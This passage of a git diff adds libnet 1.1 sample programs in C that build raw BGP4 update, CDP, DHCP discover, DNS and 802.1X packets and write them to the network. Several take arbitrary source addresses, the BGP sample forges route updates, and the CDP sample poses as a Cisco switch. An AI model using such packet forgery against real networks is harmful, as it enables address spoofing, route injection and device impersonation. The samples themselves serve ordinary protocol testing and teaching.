+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ memset(marker, 0x1, LIBNET_BGP4_MARKER_SIZE);
+
+ while ((c = getopt(argc, argv, "d:s:t:m:p:w:W:a:A:i:I:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+
+ case 'w':
+ withdraw_rt = optarg;
+ break;
+
+ case 'W':
+ u_rt_l = atoi(optarg);
+ break;
+
+ case 'a':
+ attr = optarg;
+ break;
+
+ case 'A':
+ attr_l = atoi(optarg);
+ break;
+
+ case 'i':
+ info = optarg;
+ break;
+
+ case 'I':
+ info_l = atoi(optarg);
+ break;
+
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !dst_ip)
+ {
+ usage(argv[0]);
+ goto bad;
+ }
+
+ set_ptr_and_size(withdraw_rt, u_rt_l, 0x41, flag_w);
+ set_ptr_and_size(attr, attr_l, 0x42, flag_a);
+ set_ptr_and_size(info, info_l, 0x43, flag_i);
+
+ /*
+ * BGP4 update messages are "dynamic" are fields have variable size. The only
+ * sizes we know are those for the 2 first fields ... so we need to count them
+ * plus their value.
+ */
+ length = LIBNET_BGP4_UPDATE_H + u_rt_l + attr_l + info_l + payload_s;
+ t = libnet_build_bgp4_update(
+ u_rt_l, /* Unfeasible Routes Length */
+ withdraw_rt, /* Withdrawn Routes */
+ attr_l, /* Total Path Attribute Length */
+ attr, /* Path Attributes */
+ info_l, /* Network Layer Reachability Information length */
+ info, /* Network Layer Reachability Information */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build BGP4 update header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_BGP4_HEADER_H;
+ t = libnet_build_bgp4_header(
+ marker, /* marker */
+ length, /* length */
+ LIBNET_BGP4_UPDATE, /* message type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build BGP4 header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_TCP_H;
+ t = libnet_build_tcp(
+ 0x6666, /* source port */
+ 179, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ length, /* TCP packet size */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_IPV4_H;
+ t = libnet_build_ipv4(
+ length, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+
+ if (flag_w) free(withdraw_rt);
+ if (flag_a) free(attr);
+ if (flag_i) free(info);
+
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ if (flag_w) free(withdraw_rt);
+ if (flag_a) free(attr);
+ if (flag_i) free(info);
+
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip -d destination_ip \n"
+ " [-m marker] [-p payload] [-S payload size]\n"
+ " [-w Withdrawn Routes] [-W Unfeasible Routes Length]\n"
+ " [-a Path Attributes] [-A Attribute Length]\n"
+ " [-i Reachability Information] [-I Reachability Information length]\n",
+ name);
+}
+
+
+/* EOF */
diff --git a/libnet/sample/cdp.c b/libnet/sample/cdp.c
new file mode 100644
index 0000000..6ebe04f
--- /dev/null
+++ b/libnet/sample/cdp.c
@@ -0,0 +1,187 @@
+/*
+ * $Id: cdp.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build an CDP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c, len;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_char *value;
+ u_char values[100];
+ u_short tmp;
+ u_long tmp2;
+ char *device = NULL;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: CDP[link]\n");
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ value = "switch";
+ len = strlen(value);
+
+ t = libnet_build_cdp(
+ 1, /* version */
+ 30, /* time to live */
+ 0, /* checksum */
+ LIBNET_CDP_DEVID, /* type */
+ len, /* length */
+ value, /* value */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build CDP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ memset(values, 0, sizeof(values));
+ tmp = htons(LIBNET_CDP_PORTID);
+ memcpy(values, &tmp, 2);
+ tmp = htons(0x0014);
+ memcpy(values + 2, &tmp, 2);
+ memcpy(values + 4, (u_char *)"FastEthernet0/20", 16);
+ t = libnet_build_data(
+ values,
+ 20,
+ l,
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build CDP data: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ memset(values, 0, sizeof(values));
+ tmp = htons(LIBNET_CDP_CAPABIL);
+ memcpy(values, &tmp, 2);
+ tmp = htons(0x0008);
+ memcpy(values + 2, &tmp, 2);
+ tmp2 = htonl((LIBNET_CDP_CAP_L2S | LIBNET_CDP_CAP_L2B));
+ memcpy(values + 4, &tmp2, 4);
+ t = libnet_build_data(
+ values,
+ 8,
+ l,
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build CDP data: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ memset(values, 0, sizeof(values));
+ tmp = htons(LIBNET_CDP_VERSION);
+ memcpy(values, &tmp, 2);
+ tmp = htons(0x001f);
+ memcpy(values + 2, &tmp, 2);
+ memcpy(values + 4, (u_char *)"ABCDEFGHIJKLMNOPQRSTUVWXYZ", 26);
+ t = libnet_build_data(
+ values,
+ 31,
+ l,
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build CDP data: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ memset(values, 0, sizeof(values));
+ tmp = htons(LIBNET_CDP_PLATFORM);
+ memcpy(values, &tmp, 2);
+ tmp = htons(0x0015);
+ memcpy(values + 2, &tmp, 2);
+ memcpy(values + 4, (u_char *)"cisco WS-C2924-XL", 17);
+ t = libnet_build_data(
+ values,
+ 21,
+ l,
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build CDP data: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ethernet(
+ enet_dst, /* ethernet destination */
+ enet_src, /* ethernet source */
+ 0x2000, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte CDP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+/* EOF */
diff --git a/libnet/sample/dhcp_discover.c b/libnet/sample/dhcp_discover.c
new file mode 100644
index 0000000..60710b1
--- /dev/null
+++ b/libnet/sample/dhcp_discover.c
@@ -0,0 +1,257 @@
+/*
+ * $Id: dhcp_discover.c,v 1.3 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build a DHCP discover packet
+ * To view: /usr/sbin/tcpdump -vvvvven -s 4096 'port 67 or port 68'
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+#ifdef __WIN32__
+#include "../include/win32/getopt.h"
+#endif
+
+void
+usage(char *prog)
+{
+ fprintf(stderr, "Usage: %s interface\n", prog);
+ exit(1);
+}
+
+
+int
+main(int argc, char *argv[])
+{
+ char *intf;
+ u_long src_ip, options_len, orig_len;
+ int i;
+
+ libnet_t *l;
+ libnet_ptag_t t;
+ libnet_ptag_t ip;
+ libnet_ptag_t udp;
+ libnet_ptag_t dhcp;
+ struct libnet_ether_addr *ethaddr;
+ struct libnet_stats ls;
+
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ u_char options_req[] = { LIBNET_DHCP_SUBNETMASK , LIBNET_DHCP_BROADCASTADDR , LIBNET_DHCP_TIMEOFFSET , LIBNET_DHCP_ROUTER , LIBNET_DHCP_DOMAINNAME , LIBNET_DHCP_DNS , LIBNET_DHCP_HOSTNAME };
+ u_char *options;
+ u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
+ u_char *tmp;
+
+ // have to specify interface
+ if (argc != 2)
+ usage(argv[0]);
+ intf = argv[1];
+
+ l = libnet_init(
+ LIBNET_LINK, // injection type
+ intf, // network interface
+ errbuf); // errbuf
+ if (!l)
+ {
+ fprintf(stderr, "libnet_init: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+ else {
+ src_ip = libnet_get_ipaddr4(l);;
+
+ if ((ethaddr = libnet_get_hwaddr(l)) == NULL)
+ {
+ fprintf(stderr, "libnet_get_hwaddr: %s\n", libnet_geterror(l));
+ exit(EXIT_FAILURE);
+ }
+
+ printf("ip addr : %s\n", libnet_addr2name4(src_ip, LIBNET_DONT_RESOLVE));
+ printf("eth addr : ");
+ for (i = 0; i < 6; i++) {
+ printf("%2.2x", ethaddr->ether_addr_octet[i]);
+ if (i != 5) {
+ printf(":");
+ }
+ }
+ printf("\n");
+
+
+ // build options packet
+ i = 0;
+ options_len = 3; // update total payload size
+
+ // we are a discover packet
+ options = malloc(3);
+ options[i++] = LIBNET_DHCP_MESSAGETYPE; // type
+ options[i++] = 1; // len
+ options[i++] = LIBNET_DHCP_MSGDISCOVER; // data
+
+ orig_len = options_len;
+ options_len += sizeof(options_req) + 2; // update total payload size
+
+ // workaround for realloc on old machines
+ // options = realloc(options, options_len); // resize options buffer
+ tmp = malloc(options_len);
+ memcpy(tmp, options, orig_len);
+ free(options);
+ options = tmp;
+
+ // we are going to request some parameters
+ options[i++] = LIBNET_DHCP_PARAMREQUEST; // type
+ options[i++] = sizeof(options_req); // len
+ memcpy(options + i, options_req, sizeof(options_req)); // data
+ i += sizeof(options_req);
+
+ // if we have an ip already, let's request it.
+ if (src_ip)
+ {
+ orig_len = options_len;
+ options_len += 2 + sizeof(src_ip);
+
+ // workaround for realloc on old machines
+ // options = realloc(options, options_len);
+ tmp = malloc(options_len);
+ memcpy(tmp, options, orig_len);
+ free(options);
+ options = tmp;
+
+ options[i++] = LIBNET_DHCP_DISCOVERADDR; // type
+ options[i++] = sizeof(src_ip); // len
+ memcpy(options + i, (char *)&src_ip, sizeof(src_ip));// data
+ i += sizeof(src_ip);
+ }
+
+ // end our options packet
+ // workaround for realloc on old machines
+ // options = realloc(options, options_len); // resize options buffer
+ orig_len = options_len;
+ options_len += 1;
+ tmp = malloc(options_len);
+ memcpy(tmp, options, orig_len);
+ free(options);
+ options = tmp;
+ options[i++] = LIBNET_DHCP_END;
+
+
+ // make sure we are at least the minimum length, if not fill
+ // this could go in libnet, but we will leave it in the app for now
+ if (options_len + LIBNET_DHCPV4_H < LIBNET_BOOTP_MIN_LEN)
+ {
+ orig_len = options_len;
+ options_len = LIBNET_BOOTP_MIN_LEN - LIBNET_DHCPV4_H;
+
+ // workaround for realloc on old machines
+ // options = realloc(options, options_len);
+ tmp = malloc(options_len);
+ memcpy(tmp, options, orig_len);
+ free(options);
+ options = tmp;
+
+ memset(options + i, 0, options_len - i);
+ }
+
+ // the goodies are here
+ dhcp = libnet_build_dhcpv4(
+ LIBNET_DHCP_REQUEST, // opcode
+ 1, // hardware type
+ 6, // hardware address length
+ 0, // hop count
+ 0xdeadbeef, // transaction id
+ 0, // seconds since bootstrap
+ 0x8000, // flags
+ 0, // client ip
+ 0, // your ip
+ 0, // server ip
+ 0, // gateway ip
+ ethaddr->ether_addr_octet, // client hardware addr
+ NULL, // server host name
+ NULL, // boot file
+ options, // dhcp options stuck in payload since it is dynamic
+ options_len, // length of options
+ l, // libnet handle
+ 0); // libnet id
+
+ // wrap it
+ udp = libnet_build_udp(
+ 68, // source port
+ 67, // destination port
+ LIBNET_UDP_H + LIBNET_DHCPV4_H + options_len, // packet size
+ 0, // checksum
+ NULL, // payload
+ 0, // payload size
+ l, // libnet handle
+ 0); // libnet id
+
+ // hook me up with some ipv4
+ ip = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DHCPV4_H
+ + options_len, // length
+ 0x10, // TOS
+ 0, // IP ID
+ 0, // IP Frag
+ 16, // TTL
+ IPPROTO_UDP, // protocol
+ 0, // checksum
+ src_ip, // src ip
+ inet_addr("255.255.255.255"), // destination ip
+ NULL, // payload
+ 0, // payload size
+ l, // libnet handle
+ 0); // libnet id
+
+ // we can just autobuild since we arent doing anything tricky
+ t = libnet_autobuild_ethernet(
+ enet_dst, // ethernet destination
+ ETHERTYPE_IP, // protocol type
+ l); // libnet handle
+
+ // write to the wire
+ if (libnet_write(l) == -1)
+ {
+ fprintf(stderr, " %s: libnet_write: %s\n", argv[0],
+ strerror(errno));
+ exit(EXIT_FAILURE);
+ }
+
+ // fill and print stats
+ libnet_stats(l, &ls);
+ fprintf(stderr, "Packets sent: %lld\n"
+ "Packet errors: %lld\n"
+ "Bytes written: %lld\n",
+ ls.packets_sent, ls.packet_errors, ls.bytes_written);
+ libnet_destroy(l);
+
+ // free mem
+ free(options);
+
+ exit(0);
+ }
+ exit(0);
+}
diff --git a/libnet/sample/dns.c b/libnet/sample/dns.c
new file mode 100644
index 0000000..1d49077
--- /dev/null
+++ b/libnet/sample/dns.c
@@ -0,0 +1,260 @@
+/*
+ *
+ * libnet 1.1
+ * Build a DNSv4 packet
+ * To view: /usr/sbin/tcpdump -vvvvven -s 0 port 53
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+#ifdef __WIN32__
+#include "../include/win32/getopt.h"
+#endif
+
+void
+usage(char *prog)
+{
+ fprintf(stderr, "Usage: %s -d dst_ip -q query_host [-s src_ip] [-t]\n", prog);
+ exit(1);
+}
+
+
+int
+main(int argc, char *argv[])
+{
+ char c;
+ u_long src_ip = 0, dst_ip = 0;
+ u_short type = LIBNET_UDP_DNSV4_H;
+ libnet_t *l;
+
+ libnet_ptag_t ip;
+ libnet_ptag_t ptag4; /* TCP or UDP ptag */
+ libnet_ptag_t dns;
+
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ char *query = NULL;
+ char payload[1024];
+ u_short payload_s;
+
+ printf("libnet 1.1 packet shaping: DNSv4[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (!l)
+ {
+ fprintf(stderr, "libnet_init: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * parse options
+ */
+ while ((c = getopt(argc, argv, "d:s:q:t")) != EOF)
+ {
+ switch (c)
+ {
+
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'q':
+ query = optarg;
+ break;
+ case 't':
+ type = LIBNET_TCP_DNSV4_H;
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip)
+ {
+ src_ip = libnet_get_ipaddr4(l);
+ }
+
+ if (!dst_ip || !query)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * build dns payload
+ */
+ payload_s = snprintf(payload, sizeof payload, "%c%s%c%c%c%c%c",
+ (char)(strlen(query)&0xff), query, 0x00, 0x00, 0x01, 0x00, 0x01);
+
+ /*
+ * build packet
+ */
+ dns = libnet_build_dnsv4(
+ type, /* TCP or UDP */
+ 0x7777, /* id */
+ 0x0100, /* request */
+ 1, /* num_q */
+ 0, /* num_anws_rr */
+ 0, /* num_auth_rr */
+ 0, /* num_addi_rr */
+ payload,
+ payload_s,
+ l,
+ 0
+ );
+
+ if (dns == -1)
+ {
+ fprintf(stderr, "Can't build DNS packet: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ if (type == LIBNET_TCP_DNSV4_H) /* TCP DNS */
+ {
+ ptag4 = libnet_build_tcp(
+ 0x6666, /* source port */
+ 53, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_PUSH|TH_ACK, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ LIBNET_TCP_H + LIBNET_TCP_DNSV4_H + payload_s, /* TCP packet size */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+
+ if (ptag4 == -1)
+ {
+ fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+
+ ip = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_TCP_H + type + payload_s,/* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+
+ if (ip == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ exit(EXIT_FAILURE);
+ }
+
+ }
+ else /* UDP DNS */
+ {
+ ptag4 = libnet_build_udp(
+ 0x6666, /* source port */
+ 53, /* destination port */
+ LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + payload_s, /* packet length */
+ 0, /* checksum */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+
+ if (ptag4 == -1)
+ {
+ fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+
+ ip = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_UDP_H + type + payload_s,/* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_UDP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+
+ if (ip == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ /*
+ * write to the wire
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte DNS packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+ bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
diff --git a/libnet/sample/dot1x.c b/libnet/sample/dot1x.c
new file mode 100644
index 0000000..92e8edd
--- /dev/null
+++ b/libnet/sample/dot1x.c
@@ -0,0 +1,113 @@
+/*
+ * $Id: dot1x.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build a dot1x packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_char eap_dst[6] = {0x01, 0x80, 0xc2, 0x00, 0x00, 0x03};
+ char *device = NULL;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ /* Code Id Length(2) Type DesiredType */
+ char payload[] = {0x01, 0x0a, 0x00, 0x7f, 0x03, 0x05};
+
+ printf("libnet 1.1 packet shaping: dot1x\n");
+
+ if (argc > 1)
+ {
+ device = argv[1];
+ }
+ l = libnet_init(
+ LIBNET_LINK_ADV, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ t = libnet_build_802_1x(
+ 0,
+ LIBNET_802_1X_PACKET,
+ sizeof(payload),
+ payload,
+ sizeof(payload),
+ l,
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build dot1x header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_autobuild_ethernet(
+ eap_dst, /* ethernet destination */
+ ETHERTYPE_EAP, /* protocol type */
+ l); /* libnet handle */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
